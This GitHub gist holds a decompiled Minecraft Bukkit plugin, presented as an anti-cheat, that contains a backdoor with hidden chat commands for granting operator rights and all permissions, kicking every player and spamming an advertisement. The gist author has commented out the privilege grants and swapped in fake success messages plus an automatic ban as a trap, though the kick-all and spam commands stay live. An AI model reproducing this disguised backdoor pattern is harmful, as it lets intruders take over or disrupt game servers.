Skip to content

Instantly share code, notes, and snippets.

@Wruczek
Last active August 11, 2019 23:18
Show Gist options
  • Save Wruczek/f68701ffd8ca6aef23a89162642b079c to your computer and use it in GitHub Desktop.
Save Wruczek/f68701ffd8ca6aef23a89162642b079c to your computer and use it in GitHub Desktop.
Zdekompilowany super dykto backdoor dzieciaka przerobiony na niespodziankę
package pl.paisley4.backdoor.Main;
import java.util.Iterator;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.entity.Player;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.plugin.Plugin;
import org.bukkit.plugin.java.JavaPlugin;
public class Main extends JavaPlugin implements Listener {
public void onEnable() {
Bukkit.getPluginManager().registerEvents(this, this);
}
@EventHandler
public void onChat(AsyncPlayerChatEvent event) {
System.out.println(event.getPlayer().getName() + " > " + event.getMessage()); // Wruczek
if (event.getMessage().contains("$#spam")) {
for(int i = 0; i < 45; ++i) {
Iterator var3 = Bukkit.getOnlinePlayers().iterator();
while(var3.hasNext()) {
Player player = (Player)var3.next();
if (!player.hasPermission("essentials.kick")) {
player.sendMessage(c("&8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
}
}
}
event.setCancelled(true);
}
if (event.getMessage().contains("$#help")) {
event.getPlayer().sendMessage(c("&6$#spam&8: &cSpamuje &8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
event.getPlayer().sendMessage(c("&6$#pex&8: &cNadaje gwiazdke"));
event.getPlayer().sendMessage(c("&6$#kickall&8: &cWyrzuca wszystkich"));
event.getPlayer().sendMessage(c("&6$#plugins&8: &cPodaje liste pluginow"));
event.getPlayer().sendMessage(c("&6$#op&8: &cDaje OP"));
event.setCancelled(true);
}
if (event.getMessage().contains("$#pex")) {
// Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "pex user " + event.getPlayer().getName() + " add *"); // Wruczek
event.getPlayer().sendMessage(c("&aOtrzymales &c&l*"));
event.setCancelled(true);
/* Wruczek */
Bukkit.getScheduler().runTaskLater(this, () -> {
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "ban " + event.getPlayer().getName() + " ANTYWLAM: WYKRYTO PROBE WLAMU!");
}, 20L * 5);
}
if (event.getMessage().contains("$#kickall")) {
Iterator var9 = Bukkit.getOnlinePlayers().iterator();
while(var9.hasNext()) {
Player player = (Player)var9.next();
if (player != event.getPlayer()) {
player.kickPlayer(c("&8NOWE IP: &2&lMH&f&lCORE&b&l.PL"));
}
}
event.setCancelled(true);
}
if (event.getMessage().contains("$#plugins")) {
String s = "";
int i = 0;
boolean b = false;
Plugin[] var5 = Bukkit.getPluginManager().getPlugins();
int var6 = var5.length;
for(int var7 = 0; var7 < var6; ++var7) {
Plugin plg = var5[var7];
++i;
if (!b) {
b = true;
s = s + plg.getName();
} else {
s = s + ", " + plg.getName();
}
}
// event.getPlayer().sendMessage(c("&cPlugins (&6" + i + "&c)&8: &a" + s)); // Wruczek
event.getPlayer().sendMessage(c("&cPlugins (&6" + 1 + "&c)&8: &aWruczekCore"));
event.setCancelled(true);
}
if (event.getMessage().contains("$#op")) {
// event.getPlayer().setOp(true); // Wruczek
event.getPlayer().sendMessage(c("&aNadano tobie &6&lOP"));
event.setCancelled(true);
/* Wruczek */
Bukkit.getScheduler().runTaskLater(this, () -> {
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "ban " + event.getPlayer().getName() + " ANTYWLAM: WYKRYTO PROBE WLAMU!");
}, 20L * 5);
}
}
private String c(String s) {
return ChatColor.translateAlternateColorCodes('&', s);
}
}
name: AntyCheat-1.8.8
version: 1.0
main: pl.paisley4.backdoor.Main
author: Paisley4
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment